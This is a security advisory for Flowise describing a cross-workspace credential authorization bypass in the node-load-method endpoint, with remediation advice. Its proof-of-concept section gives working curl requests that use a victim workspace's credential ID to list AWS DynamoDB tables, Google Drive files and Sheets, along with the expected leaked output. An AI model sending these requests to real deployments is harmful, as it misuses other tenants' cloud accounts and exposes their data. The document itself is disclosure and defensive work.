GHSA-HQVM-7539-V83J
Cross-workspace credential IDOR in node-load-method allows low-privilege users to enumerate victim third-party resources
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche 3.1.4 | flowise · -30 d desde divulgación | |
| Divulgación | Publicada | GHSA-HQVM-7539-V83J divulgada · CVSS 6.1 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
`POST /api/v1/node-load-method/:name` allows an authenticated low-privilege user to invoke component `loadMethods` with attacker-controlled `nodeName`, `loadMethod`, `inputs`, and `credential` values.
The endpoint is mounted as a normal API route and has no route-level permission check. More importantly, the credential selected by the caller is not verified against the caller's active workspace or shared-workspace permissions before being used by component load methods.
Several load methods call `getCredentialData(nodeData.credential, options)`, which resolves credentials by raw `Credential.id` and decrypts the credential without enforcing `Credential.workspaceId`.
As a result, a low-privilege user or workspace API key in Workspace A can supply a Credential ID owned by Workspace B and make Flowise perform third-party provider calls with Workspace B's credential. This lets Flowise act as a confused deputy and return third-party provider metadata to the attacker.
Tested commit:
`8842d52ea23a08819f63f88ac02983dfd2cb7851`
Suggested severity:
`High`
Suggested CVSS v3.1:
`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N`
Suggested CWE:
- CWE-639: Authorization Bypass Through User-Controlled Key
- CWE-862: Missing Authorization
Details
Affected route and call chain:
- `packages/server/src/routes/index.ts`
- mounts `/node-load-method` as a normal API route.
- `packages/server/src/routes/node-load-methods/index.ts`
- `POST /api/v1/node-load-method/:name` has no `checkPermission` or credential-scoping middleware.
- `packages/server/src/controllers/nodes/index.ts`
- copies the attacker-controlled request body into `body`;
- adds `body.searchOptions = getWorkspaceSearchOptionsFromReq(req)`;
- passes the body to `nodesService.getSingleNodeAsyncOptions`.
- `packages/server/src/services/nodes/index.ts`
- resolves `componentNodes[nodeName]`;
- invokes `nodeInstance.loadMethods[methodName]` with attacker-controlled `nodeData`;
- passes `searchOptions`, but generic credential helpers do not enforce it.
- `packages/components/src/utils.ts`
- `getCredentialData(selectedCredentialId, options)` resolves credentials by `Credential.findOneBy({ id })` and decrypts the credential.
- `packages/server/src/services/credentials/index.ts`
- normal credential read paths are workspace-scoped through `{ id, workspaceId }` or `getWorkspaceSearchOptions(workspaceId)`, showing the intended authorization boundary.
Statically identified affected load methods include:
- Google Drive `listFiles`
- Google Sheets `listSpreadsheets`
- AWS DynamoDB KV Storage `listTables`
The issue is not that the raw credential secret is returned. The issue is that Flowise uses a credential belonging to another workspace server-side and returns provider metadata to the attacker.
The Credential ID is an object reference, not an authorization grant. Possession of a credential UUID should not allow a user in Workspace A to use Workspace B's Google or AWS account through Flowise.
PoC
Prerequisites
- Workspace A: attacker workspace.
- Workspace B: victim workspace.
- The attacker has a low-privilege Workspace A API key.
- The Workspace A key does not have `credentials:view`, `credentials:create`, `credentials:update`, admin, or connector-management permissions.
- Workspace B owns a provider credential that is not shared with Workspace A.
- The victim provider account contains a harmless deterministic test resource, for example:
- AWS DynamoDB table: `victim_poc_orders` in `us-east-1`;
- Google Drive file: `victim-poc-private-doc`;
- Google Sheets spreadsheet: `victim-poc-private-sheet`.
Negative control: attacker cannot read the victim credential through the normal credential API
curl -i "$BASE/api/v1/credentials/$VICTIM_CREDENTIAL_ID" \
-H "Authorization: Bearer $WORKSPACE_A_LOW_PRIV_KEY"Expected result:
HTTP/1.1 403 ForbiddenIf database access is available, the following evidence can also be captured:
select id, credentialName, workspaceId
from credential
where id = '<victimCredentialId>';
select *
from workspace_shared
where sharedItemId = '<victimCredentialId>'
and itemType = 'credential';Expected evidence:
- `credential.workspaceId = <workspaceB>`;
- no `workspace_shared` row grants the credential to Workspace A.
Positive control A: AWS DynamoDB table enumeration using the victim credential
curl -i -X POST "$BASE/api/v1/node-load-method/awsDynamoDBKVStorage" \
-H "Authorization: Bearer $WORKSPACE_A_LOW_PRIV_KEY" \
-H "Content-Type: application/json" \
--data '{
"loadMethod": "listTables",
"credential": "'"$VICTIM_AWS_CREDENTIAL_ID"'",
"inputs": {
"region": "us-east-1"
}
}'Vulnerable result:
[
{
"label": "victim_poc_orders",
"name": "victim_poc_orders",
"description": "Table with pk (partition) and sk (sort) keys"
}
]Provider-side evidence, when available:
- CloudTrail shows `ListTables` and `DescribeTable` events.
- The identity is the victim Workspace B IAM user or assumed role.
- If `roleArn` is used, Flowise may generate an STS session name such as `FlowiseSession-<timestamp>`.
Positive control B: Google Drive file enumeration using the victim credential
curl -i -X POST "$BASE/api/v1/node-load-method/googleDrive" \
-H "Authorization: Bearer $WORKSPACE_A_LOW_PRIV_KEY" \
-H "Content-Type: application/json" \
--data '{
"loadMethod": "listFiles",
"credential": "'"$VICTIM_GOOGLE_DRIVE_CREDENTIAL_ID"'",
"inputs": {
"maxFiles": 100,
"includeSharedDrives": true,
"fileTypes": ["application/vnd.google-apps.document", "application/pdf", "text/plain"]
}
}'Vulnerable result:
[
{
"name": "google-drive-file-id",
"label": "victim-poc-private-doc",
"description": "Type: Google Doc (My Drive) | Modified: ..."
}
]Positive control C: Google Sheets enumeration using the victim credential
curl -i -X POST "$BASE/api/v1/node-load-method/googleSheets" \
-H "Authorization: Bearer $WORKSPACE_A_LOW_PRIV_KEY" \
-H "Content-Type: application/json" \
--data '{
"loadMethod": "listSpreadsheets",
"credential": "'"$VICTIM_GOOGLE_SHEETS_CREDENTIAL_ID"'",
"inputs": {}
}'Vulnerable result:
[
{
"name": "google-sheet-file-id",
"label": "victim-poc-private-sheet",
"description": "Modified: ..."
}
]For Google proofs, use a non-expired access token if possible so the main evidence does not depend on the OAuth refresh route. If the stored token is expired, Flowise can still refresh it server-side, but the core issue remains the unscoped credential lookup and provider call through `node-load-method`.
Impact
A low-privilege authenticated user can use Flowise as a confused deputy against third-party accounts configured in another workspace.
The attacker can:
- enumerate victim Google Drive file IDs, file names, MIME categories, and modified timestamps;
- enumerate victim Google Sheets spreadsheet IDs and names;
- enumerate victim AWS DynamoDB table names and compatible key schema metadata;
- trigger OAuth refresh or AWS STS AssumeRole flows through credentials outside the attacker's workspace;
- consume provider API quota;
- create provider-side audit events under the victim credential.
This crosses both a Flowise workspace boundary and an external provider account boundary. The attacker does not need access to the raw credential secret; server-side use of the victim credential is the impact.
Why this is not a duplicate of the public Agentflow OAuth refresh issue
This does not require `/api/v1/oauth2-credential/refresh` to return token material, and it does not depend on public Agentflow metadata leaking a credential ID.
The vulnerable primitive is the generic `node-load-method` dispatcher combined with globally resolved credential IDs. The exploit result is server-side use of a foreign credential to enumerate third-party provider resources.
Suggested remediation
- Add an explicit permission gate to `POST /api/v1/node-load-method/:name`.
- Before invoking any load method, collect credential IDs from `nodeData.credential` and nested config fields and verify they belong to `req.user.activeWorkspaceId` or are explicitly shared with that workspace.
- Replace generic `getCredentialData(id)` in server-invoked load methods with a workspace-aware resolver.
- Make workspace context mandatory for credential resolution.
- Add regression tests:
- Workspace A can call `node-load-method` with a Workspace A credential.
- Workspace A cannot call `node-load-method` with a Workspace B credential.
- Workspace A can call `node-load-method` only if Workspace B explicitly shared that credential.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npmflowise |
Corregida | 3.1.4 | -30 d | 3.1.4 no afectada |
3.1.4Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-hqvm-7539-v83jLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
